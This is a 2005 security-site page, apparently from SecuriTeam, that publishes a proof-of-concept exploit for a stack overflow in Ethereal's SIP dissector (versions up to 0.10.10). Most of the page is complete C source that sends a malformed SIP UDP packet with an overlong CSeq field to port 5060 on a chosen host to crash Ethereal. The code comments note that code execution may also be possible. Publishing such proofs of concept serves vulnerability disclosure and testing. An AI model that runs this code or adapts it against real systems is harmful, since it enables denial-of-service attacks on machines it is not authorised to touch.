Security News -  Security Reviews -   Exploits -  Tools -  UNIX Focus -  Windows Focus
Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). CanSecWest 2012 2nd Annual Cyber Security Hack In Paris	Ethereal SIP Dissector Overflow (Exploit 2) 15 May 2005    Summary Another proof of concept, exploiting following vulnerability: Ethereal SIP Dissector Overflow, a vulnerability in Ethereal's SIP dissector allows attackers to cause Ethereal to crash by overflowing an internal buffer used by Ethereal when it tries to handle SIP related packets. The following exploit code can be used to test your system for the mentioned vulnerability.   Credit: The information has been provided by Shaun Colley. The original article can be found at: http://www.demodulated.net/code/ethereal_sip_dos.c Ethereal SIP Dissector Overflow (Exploit) Website Security Scan Code Vulnerability Test Network Assessment Tool Detect hidden vulnerabilities Exhaustive automated testing Real-time, continuous security Get guidance from professionals of internal or 3rd party code. scanning for your entire network    Details Protect your website! Use an External Vulnerability Scanner! Nothing to install. First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner Exploit: /* ethereal_sip_dos.c - by Shaun Colley <shaun rsc cx>  *  * This code exploits the Ethereal <= 0.10.10 SIP dissector stack overflow vulnerability,  * reported by SecurityLab. See the advisory for more details (i.e. fix) -  * <http://www.securitylab.net/ethereal-0-10-10.txt>  *  * This buffer overflow bug is due to a blind copy of the "CSeq" field in a packet containing a SIP header.  * If a malformed SIP packet appears on the same interface as the vulnerable Ethereal,  * Ethereal will strcpy() the SIP header's CSeq field into a buffer without bounds checking.  * This code transmits a SIP header (in a UDP datagram) with an overly long CSeq field, which  * results in a stack overflow because of the strcpy(). It is probably  * possible to execute code, but since Ethereal first validates each byte with an 'isalpha' check,  * shellcode may have to be printable ASCII-only if the bug were to be exploited. I am not  * certain on how easy code execution would be. Important things get overwritten during the overflow,  * so the attacker would need to fill them back in themselves.  *  * Ethereal have released a patch. Ethereal 0.10.11 fixes this bug.  *  * syntax: ethereal_sip_dos <host> - where <host> is an address that makes the packet appear on  * the Ethereal host's interface, i.e. target's IP address.  *  * This code doesn't spoof the source address - if you care, capture the packet and retransmit  * it with a spoofed source IP address.  */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <netinet/in.h> /* malformed SIP packet */ char sip_packet[] = "\x4f\x50\x54\x49\x4f\x4e\x53\x20\x73\x69\x70\x3a\x68\x61\x63"                     "\x6b\x20\x53\x49\x50\x2f\x32\x2e\x30\x0a\x56\x69\x61\x3a\x20"                     "\x53\x49\x50\x2f\x32\x2e\x30\x2f\x55\x44\x50\x20\x63\x70\x63"                     "\x31\x2d\x6d\x61\x72\x73\x31\x2d\x33\x2d\x30\x2d\x63\x75\x73"                     "\x74\x32\x32\x35\x2e\x6d\x69\x64\x64\x2e\x63\x61\x62\x6c\x65"                     "\x2e\x6e\x74\x6c\x2e\x63\x6f\x6d\x3a\x35\x35\x31\x31\x38\x3b"                     "\x72\x70\x6f\x72\x74\x0d\x0a\x56\x69\x61\x3a\x20\x53\x49\x50"                     "\x2f\x32\x2e\x30\x2f\x55\x44\x50\x20\x68\x61\x63\x6b\x3a\x39"                     "\x0a\x46\x72\x6f\x6d\x3a\x20\x73\x69\x70\x3a\x68\x61\x63\x6b"                     "\x3b\x74\x61\x67\x3d\x36\x31\x35\x61\x65\x37\x37\x30\x0a\x54"                     "\x6f\x3a\x20\x73\x69\x70\x3a\x68\x61\x63\x6b\x0a\x43\x61\x6c"                     "\x6c\x2d\x49\x44\x3a\x20\x31\x36\x33\x33\x33\x34\x37\x34\x35"                     "\x32\x3a\x20\x68\x61\x63\x6b\x0a\x43\x53\x65\x71\x3a\x20\x61"                     "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"                     "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"                     "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"                     "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"                     "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"                     "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61"                     "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x81\xd9"                     "\x04\x28\x0a\x43\x6f\x6e\x74\x61\x63\x74\x3a\x20\x68\x61\x63"                     "\x6b\x3a\x39\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x4c\x65\x6e"                     "\x67\x74\x68\x3a\x20\x30\x0a\x4d\x61\x78\x2d\x46\x6f\x72\x77"                     "\x61\x72\x64\x73\x3a\x20\x37\x30\x0a\x55\x73\x65\x72\x2d\x41"                     "\x67\x65\x6e\x74\x3a\x20\x65\x74\x68\x65\x72\x65\x61\x6c\x20"                     "\x63\x72\x61\x73\x68\x0a"; int main(int argc, char *argv[]) {   if(argc < 2) {     printf("syntax: %s <host>\n", argv[0]);     return 1;   }   struct sockaddr_in dest;   struct hostent *he;   int sock, slen = sizeof(struct sockaddr);   if((he = gethostbyname(argv[1])) == NULL) {     printf("Couldn't resolve %s\n", argv[1]);     return 1;   }   if((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {     perror("socket()");     return 1;   }   dest.sin_port = htons(5060);   dest.sin_family = AF_INET;   dest.sin_addr = *((struct in_addr *)he->h_addr);   if (sendto(sock, sip_packet, sizeof(sip_packet), 0, (struct sockaddr *)&dest, slen)== -1) {     printf("Error sending packet!\n");     return 1;   }   printf("Exploit packet sent..\n");   close(sock);   return 0; }  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles Microsoft Windows shmedia.dll Division By Zero, Explore.exe DOS Exploit IGSS 8 ODBC Server Multiple Remote Uninitialized Pointer Free DoS Progea Movicon TCPUploadServer Remote Exploit Trango Broadband Wireless Rogue SU Authentication Bug Exposing HMS HICP Protocol and Intellicom NetBiterConfig.exe Remote Buffer Overflow Family Connections Multiple Remote Vulnerabilities VideoCache vccleaner Root Vulnerability QuickHeal Antivirus 2010 Local Privilege Escalation DubSite CMS Cross Site Request Forgery Vulnerability SonicWall Global Management System XSS Vulnerability Sonicwall NSA E7500 XSS Vulnerability Juniper Security Threat Response Manager XSS Vulnerability Hacking CSRF Tokens using CSS History Hack Sun Java System Identiy Manager Users Enumeration Microsoft Internet Explorer XML Buffer Overflow (Exploit)  Featured Articles ProFTPD Response Pool Use-After-Free Code Execution Vulnerability HP Data Protector Notebook Extension LogClientInstallation SQL Injection Vulnerabilty GE Proficy Historian ihDataArchiver.exe Trusted Header Size Code Execution Vulnerability Novell ZENWorks Software Packaging Antique ActiveX Control Code Execution Vulnerability Adobe Reader U3D IFF RGBA Parsing Code Execution Vulnerability Adobe Reader U3D PCX Parsing Code Execution Vulnerability Cisco Unified Service Monitor brstart add_dm Code Execution Vulnerability
	Security News - Security Reviews - Exploits - Tools - UNIX Focus - Windows Focus - Blogs - CVEs

Copyright © 1998-2011 Beyond Security® All rights reserved.
Terms of Use Site Privacy Statement.
SecuriTeam™ is a trademark of Beyond Security®